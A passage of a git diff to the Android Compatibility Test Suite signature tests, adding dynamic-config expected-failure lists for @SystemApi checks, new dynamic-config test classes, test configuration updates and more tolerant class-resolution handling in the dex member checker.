+       ! those changes.
+       !
+       ! If they are not expected then this must be caused by a partner
+       ! inadvertently adding something to the @SystemApi so the correct
+       ! response is for them to stop doing that.
+       !
+       ! If they are expected then additional entries should be added to this
+       ! section. That simply requires copying each error message into their own
+       ! <value></value> element and then removing the whitespace after the
+       ! first : and also removing the trailing " Error: ..." part (including
+       ! the leading white space).
+       !
+       ! See below for some examples.
+       !-->
+      <!-- Bug: 204520502 -->
+      <value>extra_class:android.media.MediaParceledListSlice</value>
+      <value>extra_class:android.media.MediaFrameworkInitializer</value>
+      <value>extra_interface:android.media.MediaCommunicationManager$SessionCallback</value>
+      <value>extra_class:android.media.MediaTranscodingManager</value>
+      <!-- Bug: 202684112 -->
+      <value>extra_class:android.net.TetheringInterface</value>
+      <value>extra_field:public static final java.lang.String android.provider.MediaStore.QUERY_ARG_DEFER_SCAN</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_IS_UID</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_TRUNCATE_TIMESTAMP</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_DEFAULT_STATE</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_PRIMARY_FIELD</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_TRIGGER_STATE_RESET</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_EXCLUSIVE_STATE</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_PRIMARY_FIELD_FIRST_UID</value>
+      <value>extra_field:public static final byte android.util.StatsLog.ANNOTATION_ID_STATE_NESTED</value>
+      <!-- Bug: 202968174 -->
+      <value>extra_interface:android.net.wifi.WifiManager$WifiVerboseLoggingStatusChangedListener</value>
+      <value>extra_class:android.net.wifi.WifiConnectedSessionInfo</value>
+      <value>extra_class:android.net.wifi.WifiManager$CoexCallback</value>
+      <value>extra_class:android.net.wifi.CoexUnsafeChannel</value>
+      <value>extra_class:android.net.wifi.WifiAvailableChannel</value>
+      <value>extra_method:public int android.net.wifi.WifiNetworkSuggestion.getCarrierId()</value>
+      <value>extra_method:public boolean android.net.wifi.WifiNetworkSuggestion.isOemPaid()</value>
+      <value>extra_method:public boolean android.net.wifi.WifiNetworkSuggestion.isOemPrivate()</value>
+      <value>extra_method:public java.util.List android.net.wifi.rtt.RangingRequest.getRttResponders()</value>
+      <value>extra_method:public boolean android.net.wifi.WifiInfo.isCarrierMerged()</value>
+      <value>extra_method:public boolean android.net.wifi.WifiInfo.isOemPrivate()</value>
+      <value>extra_method:public boolean android.net.wifi.WifiInfo.isPrimary()</value>
+      <value>extra_method:public boolean android.net.wifi.WifiInfo.isTrusted()</value>
+      <value>extra_method:public boolean android.net.wifi.WifiInfo.isOemPaid()</value>
+      <value>extra_method:public int android.net.wifi.SoftApConfiguration.getMacRandomizationSetting()</value>
+      <value>extra_method:public boolean android.net.wifi.SoftApConfiguration.isUserConfiguration()</value>
+      <value>extra_method:public android.util.SparseIntArray android.net.wifi.SoftApConfiguration.getChannels()</value>
+      <value>extra_method:public boolean android.net.wifi.SoftApConfiguration.isBridgedModeOpportunisticShutdownEnabled()</value>
+      <value>extra_method:public boolean android.net.wifi.SoftApConfiguration.isIeee80211axEnabled()</value>
+      <value>extra_method:public int android.net.wifi.WifiConfiguration.getDeletionPriority()</value>
+      <value>extra_method:public java.lang.String android.net.wifi.WifiConfiguration.getProfileKey()</value>
+      <value>extra_method:public void android.net.wifi.WifiConfiguration.setDeletionPriority(int) throws java.lang.IllegalArgumentException</value>
+      <value>extra_method:public void android.net.wifi.aware.WifiAwareManager.enableInstantCommunicationMode(boolean)</value>
+      <value>extra_method:public void android.net.wifi.EasyConnectStatusCallback.onBootstrapUriGenerated(android.net.Uri)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.setCarrierNetworkOffloadEnabled(int,boolean,boolean)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.setCoexUnsafeChannels(java.util.List,int)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.unregisterCoexCallback(android.net.wifi.WifiManager$CoexCallback)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.removeAppState(int,java.lang.String)</value>
+      <value>extra_method:public static int android.net.wifi.WifiManager.getEasyConnectMaxAllowedResponderDeviceInfoLength()</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.stopRestrictingAutoJoinToSubscriptionId()</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.setDefaultCountryCode(java.lang.String)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.addWifiVerboseLoggingStatusChangedListener(java.util.concurrent.Executor,android.net.wifi.WifiManager$WifiVerboseLoggingStatusChangedListener)</value>
+      <value>extra_method:public boolean android.net.wifi.WifiManager.isStaConcurrencyForRestrictedConnectionsSupported()</value>
+      <value>extra_method:public java.util.List android.net.wifi.WifiManager.getAllowedChannels(int,int)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.clearOverrideCountryCode()</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.startRestrictingAutoJoinToSubscriptionId(int)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.restartWifiSubsystem()</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.removeWifiVerboseLoggingStatusChangedListener(android.net.wifi.WifiManager$WifiVerboseLoggingStatusChangedListener)</value>
+      <value>extra_method:public int android.net.wifi.WifiManager.getVerboseLoggingLevel()</value>
+      <value>extra_method:public java.util.List android.net.wifi.WifiManager.getUsableChannels(int,int)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.setVerboseLoggingLevel(int)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.setOverrideCountryCode(java.lang.String)</value>
+      <value>extra_method:public boolean android.net.wifi.WifiManager.setWifiScoringEnabled(boolean)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.startEasyConnectAsEnrolleeResponder(java.lang.String,int,java.util.concurrent.Executor,android.net.wifi.EasyConnectStatusCallback)</value>
+      <value>extra_method:public void android.net.wifi.WifiManager.registerCoexCallback(java.util.concurrent.Executor,android.net.wifi.WifiManager$CoexCallback)</value>
+      <value>extra_method:public android.net.wifi.WifiNetworkSuggestion$Builder android.net.wifi.WifiNetworkSuggestion$Builder.setOemPrivate(boolean)</value>
+      <value>extra_method:public android.net.wifi.WifiNetworkSuggestion$Builder android.net.wifi.WifiNetworkSuggestion$Builder.setOemPaid(boolean)</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_MBO_ASSOC_DISALLOWED_AUTH_SERVER_OVERLOADED</value>
+      <value>extra_field:public boolean android.net.wifi.WifiConfiguration.carrierMerged</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_DISCONNECTION_AP_BUSY</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_OCE_RSSI_BASED_ASSOCIATION_REJECTION</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_POOR_CHANNEL_CONDITIONS</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_MBO_ASSOC_DISALLOWED_INSUFFICIENT_RSSI</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_REFUSED_TEMPORARILY</value>
+      <value>extra_field:public int android.net.wifi.WifiConfiguration.lastConnectUid</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RANDOMIZATION_AUTO</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_MBO_ASSOC_DISALLOWED_MAX_NUM_STA_ASSOCIATED</value>
+      <value>extra_field:public int android.net.wifi.WifiConfiguration.subscriptionId</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RANDOMIZATION_NON_PERSISTENT</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_MBO_ASSOC_DISALLOWED_UNSPECIFIED</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_NETWORK_NOT_FOUND</value>
+      <value>extra_field:public static final int android.net.wifi.WifiConfiguration.RECENT_FAILURE_MBO_ASSOC_DISALLOWED_AIR_INTERFACE_OVERLOADED</value>
+      <value>extra_field:public static final int android.net.wifi.ScanResult.CIPHER_BIP_GMAC_128</value>
+      <value>extra_field:public static final int android.net.wifi.ScanResult.CIPHER_GCMP_128</value>
+      <value>extra_field:public static final int android.net.wifi.ScanResult.CIPHER_BIP_CMAC_256</value>
+      <value>extra_field:public static final int android.net.wifi.ScanResult.CIPHER_BIP_GMAC_256</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_BRAINPOOLP384R1</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_BRAINPOOLP512R1</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_BRAINPOOLP256R1</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.VERBOSE_LOGGING_LEVEL_DISABLED</value>
+      <value>extra_field:public static final java.lang.String android.net.wifi.WifiManager.ACTION_REFRESH_USER_PROVISIONING</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_PRIME256V1</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.COEX_RESTRICTION_SOFTAP</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_SECP521R1</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED_SHOW_KEY</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_AWARE</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_SECP384R1</value>
+      <value>extra_field:public static final int android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_DIRECT</value>
+      <value>extra_field:public static final int android.net.wifi.SoftApConfiguration.BAND_60GHZ</value>
+      <value>extra_field:public static final int android.net.wifi.SoftApConfiguration.RANDOMIZATION_PERSISTENT</value>
+      <value>extra_field:public static final int android.net.wifi.SoftApConfiguration.RANDOMIZATION_NONE</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index 62b1bbb..0a3e9b0 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -21,7 +21,12 @@
 import android.signature.cts.ApiDocumentParser;
 import android.signature.cts.JDiffClassDescription;
 
+import android.signature.cts.LogHelper;
+import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
 import com.android.compatibility.common.util.PropertyUtil;
+import java.util.List;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
@@ -35,6 +40,7 @@
 public class AnnotationTest extends AbstractApiTest {
 
     private static final String TAG = AnnotationTest.class.getSimpleName();
+    private static final String MODULE_NAME = "CtsSystemApiAnnotationTestCases";
 
     private String[] mExpectedApiFiles;
     private String mAnnotationForExactMatch;
@@ -43,6 +49,15 @@
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
         mExpectedApiFiles = getCommaSeparatedListRequired(instrumentationArgs, "expected-api-files");
         mAnnotationForExactMatch = instrumentationArgs.getString("annotation-for-exact-match");
+
+        // Make sure that the Instrumentation provided to this test is registered so it can be
+        // retrieved by the DynamicConfigDeviceSide below.
+        InstrumentationRegistry.registerInstance(getInstrumentation(), new Bundle());
+
+        // Get the DynamicConfig.xml contents and extract the expected failures list.
+        DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
+        List<String> expectedFailures = dcds.getValues("expected_failures");
+        initExpectedFailures(expectedFailures);
     }
 
     private Predicate<? super JDiffClassDescription> androidAutoClassesFilter() {
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index ccb3c58..f4a9b7a 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -46,6 +46,8 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemApiSignatureTestCases
 
+LOCAL_STATIC_JAVA_LIBRARIES := cts-signature-with-dynamic-config
+
 LOCAL_JAVA_RESOURCE_FILES := $(all_system_api_zip_file)
 
 LOCAL_SIGNATURE_API_FILES := \
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 7c5fb12..cf5d737 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -16,9 +16,15 @@
 <configuration description="Config for CTS System API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsSystemApiSignatureTestCases" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiSignatureTestCases.apk" />
@@ -27,12 +33,14 @@
         <option name="package" value="android.signature.cts.api.system" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.system.SignatureTest" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsSystemApiSignatureTestCases" />
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz" />
         <option name="instrumentation-arg" key="previous-api-files" value = "system-all.api.zip" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
         <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/system-api/DynamicConfig.xml b/tests/signature/api-check/system-api/DynamicConfig.xml
new file mode 100644
index 0000000..24aa0bb
--- /dev/null
+++ b/tests/signature/api-check/system-api/DynamicConfig.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 Google Inc.
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<dynamicConfig>
+    <entry key ="expected_failures">
+        <!--
+         ! Each value in this section identifies an expected failure and is of the
+         ! form:
+         !    <failure-type>:<signature of class/member>
+         !
+         ! These entries are loaded by AnnotationTest which uses them to construct
+         ! an ExpectedFailuresFilter which discards them.
+         !
+         ! e.g. If the test fails with the following error message:
+         ! repackaged.junit.framework.AssertionFailedError:
+         ! extra_class:	android.media.MediaParceledListSlice	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! extra_class:	android.media.MediaFrameworkInitializer	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! extra_interface:	android.media.MediaCommunicationManager$SessionCallback	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! extra_class:	android.media.MediaTranscodingManager	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! ClassLoader hierarchy
+         !
+         ! The first step is to check that the extra classes are expected (e.g.
+         ! because they have been annotated with the @SystemApi since this version
+         ! of the CTS tests were released and the tests are being run on an
+         ! Android system with a version of the mainline modules that includes
+         ! those changes.
+         !
+         ! If they are not expected then this must be caused by a partner
+         ! inadvertently adding something to the @SystemApi so the correct
+         ! response is for them to stop doing that.
+         !
+         ! If they are expected then additional entries should be added to this
+         ! section. That simply requires copying each error message into their own
+         ! <value></value> element and then removing the whitespace after the
+         ! first : and also removing the trailing " Error: ..." part (including
+         ! the leading white space).
+         !
+         ! See below for some examples.
+         !-->
+        <!-- Bug: 209335798 -->
+        <value>missing_method:android.bluetooth.BluetoothHeadset#setPriority(android.bluetooth.BluetoothDevice, int)</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java b/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
index 5316e31..e523152 100644
--- a/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
+++ b/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
@@ -16,5 +16,7 @@
 
 package android.signature.cts.api.system;
 
-public class SignatureTest extends android.signature.cts.api.SignatureTest {
+import java.android.signature.cts.api.dynamic.DynamicConfigSignatureTest;
+
+public class SignatureTest extends DynamicConfigSignatureTest {
 }
diff --git a/hostsidetests/trustedvoice/app/Android.bp b/tests/signature/api-check/with-dynamic-config/Android.bp
similarity index 65%
copy from hostsidetests/trustedvoice/app/Android.bp
copy to tests/signature/api-check/with-dynamic-config/Android.bp
index b8c7922..bdeb878 100644
--- a/hostsidetests/trustedvoice/app/Android.bp
+++ b/tests/signature/api-check/with-dynamic-config/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2016 The Android Open Source Project
+// Copyright (C) 2021 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -12,18 +12,19 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+// Compat.
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-android_test_helper_app {
-    name: "CtsTrustedVoiceApp",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
+java_library {
+    name: "cts-signature-with-dynamic-config",
+    visibility: [
+        "//cts/tests/signature:__subpackages__",
     ],
-    sdk_version: "current",
+    static_libs: [
+        "cts-api-signature-test",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/java/**/*.java"],
 }
diff --git a/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigHiddenApiTest.java b/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigHiddenApiTest.java
new file mode 100644
index 0000000..99f6b7b
--- /dev/null
+++ b/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigHiddenApiTest.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.api.dynamic;
+
+import android.os.Bundle;
+import android.signature.cts.api.HiddenApiTest;
+import android.signature.cts.api.SignatureTest;
+import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import java.util.Collection;
+
+/**
+ * A hidden API test that supports the use of dynamic config.
+ */
+public class DynamicConfigHiddenApiTest extends HiddenApiTest {
+
+    /**
+     * The name of the optional instrumentation option that contains the name of the dynamic config
+     * data set that contains the expected failures.
+     */
+    private static final String DYNAMIC_CONFIG_NAME_OPTION = "dynamic-config-name";
+
+    @Override
+    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
+        super.initializeFromArgs(instrumentationArgs);
+
+        String dynamicConfigName = instrumentationArgs.getString(DYNAMIC_CONFIG_NAME_OPTION);
+        if (dynamicConfigName != null) {
+            // Make sure that the Instrumentation provided to this test is registered so it can be
+            // retrieved by the DynamicConfigDeviceSide below.
+            InstrumentationRegistry.registerInstance(getInstrumentation(), new Bundle());
+
+            // Get the DynamicConfig.xml contents and extract the expected failures list.
+            DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(dynamicConfigName);
+            Collection<String> expectedFailures = dcds.getValues("expected_failures");
+            initExpectedFailures(expectedFailures);
+        }
+    }
+}
diff --git a/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigSignatureTest.java b/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigSignatureTest.java
new file mode 100644
index 0000000..8a1e763
--- /dev/null
+++ b/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigSignatureTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package java.android.signature.cts.api.dynamic;
+
+import android.os.Bundle;
+import android.signature.cts.api.SignatureTest;
+import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import java.util.Collection;
+
+/**
+ * A signature test that supports the use of dynamic config.
+ */
+public class DynamicConfigSignatureTest extends SignatureTest {
+
+    /**
+     * The name of the optional instrumentation option that contains the name of the dynamic config
+     * data set that contains the expected failures.
+     */
+    private static final String DYNAMIC_CONFIG_NAME_OPTION = "dynamic-config-name";
+
+    @Override
+    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
+        super.initializeFromArgs(instrumentationArgs);
+
+        String dynamicConfigName = instrumentationArgs.getString(DYNAMIC_CONFIG_NAME_OPTION);
+        if (dynamicConfigName != null) {
+            // Make sure that the Instrumentation provided to this test is registered so it can be
+            // retrieved by the DynamicConfigDeviceSide below.
+            InstrumentationRegistry.registerInstance(getInstrumentation(), new Bundle());
+
+            // Get the DynamicConfig.xml contents and extract the expected failures list.
+            DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(dynamicConfigName);
+            Collection<String> expectedFailures = dcds.getValues("expected_failures");
+            initExpectedFailures(expectedFailures);
+        }
+    }
+}
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 238d445..59fe44d 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -26,6 +26,9 @@
     Bug: 150153196 android.intent.action.LOAD_DATA (system in API 30)
     Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
     Bug: 186495404 android.intent.action.REBOOT_READY
+    Bug: 206897736 android.intent.action.MANAGE_PERMISSION_USAGE
+    Bug: 206897736 android.intent.action.VIEW_APP_FEATURES
+    Bug: 209528070 android.intent.action.APPLICATION_LOCALE_CHANGED
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -40,5 +43,8 @@
       <value>android.intent.action.LOAD_DATA</value>
       <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
       <value>android.intent.action.REBOOT_READY</value>
+      <value>android.intent.action.MANAGE_PERMISSION_USAGE</value>
+      <value>android.intent.action.VIEW_APP_FEATURES</value>
+      <value>android.intent.action.APPLICATION_LOCALE_CHANGED</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/lib/android/src/android/signature/cts/DexMemberChecker.java b/tests/signature/lib/android/src/android/signature/cts/DexMemberChecker.java
index 181f9d4..fa839af 100644
--- a/tests/signature/lib/android/src/android/signature/cts/DexMemberChecker.java
+++ b/tests/signature/lib/android/src/android/signature/cts/DexMemberChecker.java
@@ -97,12 +97,12 @@
             if (jni) {
                 try {
                     observer.fieldAccessibleViaJni(hasMatchingField_JNI(klass, field), field);
-                } catch (ExceptionInInitializerError | UnsatisfiedLinkError
+                } catch (ClassNotFoundException | ExceptionInInitializerError | UnsatisfiedLinkError
                         | NoClassDefFoundError e) {
                     if ((e instanceof NoClassDefFoundError)
                             && !(e.getCause() instanceof ExceptionInInitializerError)
                             && !(e.getCause() instanceof UnsatisfiedLinkError)) {
-                        throw e;
+                        throw (NoClassDefFoundError) e;
                     }
 
                     // Could not initialize the class. Skip JNI test.
@@ -112,8 +112,12 @@
         } else if (dexMember instanceof DexMethod) {
             DexMethod method = (DexMethod) dexMember;
             if (reflection) {
-                observer.methodAccessibleViaReflection(hasMatchingMethod_Reflection(klass, method),
-                        method);
+                try {
+                    observer.methodAccessibleViaReflection(
+                            hasMatchingMethod_Reflection(klass, method), method);
+                } catch (ClassNotFoundException e) {
+                    Log.w(TAG, "Failed resolution of " + dexMember.toString(), e);
+                }
             }
             if (jni) {
                 try {
@@ -164,10 +168,17 @@
             return true;
         } catch (NoSuchFieldException ex) {
             return false;
+        } catch (NoClassDefFoundError ex) {
+            // The field has a type that cannot be loaded.
+            return true;
         }
     }
 
-    private static boolean hasMatchingField_JNI(Class<?> klass, DexField dexField) {
+    private static boolean hasMatchingField_JNI(Class<?> klass, DexField dexField)
+            throws ClassNotFoundException {
+        // If we fail to resolve the type of the field, we will throw a ClassNotFoundException.
+        DexMember.typeToClass(dexField.getDexType());
+
         try {
             Field ifield = getField_JNI(klass, dexField.getName(), dexField.getDexType());
             if (ifield.getDeclaringClass() == klass) {
@@ -189,22 +200,57 @@
         return false;
     }
 
-    private static boolean hasMatchingMethod_Reflection(Class<?> klass, DexMethod dexMethod) {
-        List<String> methodParams = dexMethod.getJavaParameterTypes();
+    private static boolean hasMatchingMethod_Reflection(Class<?> klass, DexMethod dexMethod)
+                throws ClassNotFoundException {
+        // If we fail to resolve all parameters or return type, we will throw
+        // ClassNotFoundException.
+        Class<?>[] parameterClasses = dexMethod.getJavaParameterClasses();
+        Class<?> returnClass = DexMember.typeToClass(dexMethod.getDexType());
 
         if (dexMethod.isConstructor()) {
-            for (Constructor<?> constructor : klass.getDeclaredConstructors()) {
-                if (typesMatch(constructor.getParameterTypes(), methodParams)) {
+            try {
+                if (klass.getDeclaredConstructor(parameterClasses) != null) {
                     return true;
                 }
+            } catch (NoSuchMethodException e) {
+              return false;
             }
-        } else {
+        } else if (!dexMethod.isStaticConstructor()) {
+            List<String> methodParams = dexMethod.getJavaParameterTypes();
             String methodReturnType = dexMethod.getJavaType();
-            for (Method method : klass.getDeclaredMethods()) {
-                if (method.getName().equals(dexMethod.getName())
-                        && method.getReturnType().getTypeName().equals(methodReturnType)
-                        && typesMatch(method.getParameterTypes(), methodParams)) {
-                    return true;
+            try {
+                // First try with getDeclaredMethods, hoping all parameter and return types can be
+                // resolved.
+                for (Method method : klass.getDeclaredMethods()) {
+                    if (method.getName().equals(dexMethod.getName())
+                            && method.getReturnType().getTypeName().equals(methodReturnType)
+                            && typesMatch(method.getParameterTypes(), methodParams)) {
+                        return true;
+                    }
+                }
+            } catch (NoClassDefFoundError ncdfe) {
+                // Try with getMethods, which does not check parameter and return types are
+                // resolved, but only returns public methods.
+                for (Method method : klass.getMethods()) {
+                    if (method.getName().equals(dexMethod.getName())
+                            && method.getClass() == klass
+                            && method.getReturnType().getTypeName().equals(methodReturnType)
+                            && typesMatch(method.getParameterTypes(), methodParams)) {
+                        return true;
+                    }
+                }
+                // Last chance, try with getDeclaredMethod.
+                try {
+                    Method m = klass.getDeclaredMethod(dexMethod.getName(), parameterClasses);
+                    if (m.getReturnType().getTypeName().equals(dexMethod.getJavaType())) {
+                        return true;
+                    }
+                    // This means we found a method with a different return type. We cannot make
+                    // any conclusion here: the method may exisit or not. However, given we have
+                    // not found the method through getMethods and getDeclaredMethods, we know
+                    // this method won't be accessible through reflection.
+                } catch (NoSuchMethodException nsme) {
+                  return false;
                 }
             }
         }
diff --git a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
index 1567f16..57436bc 100644
--- a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
@@ -85,14 +85,14 @@
     public void checkDeferred() {
         for (Class<?> clazz : annotatedClassesMap.values()) {
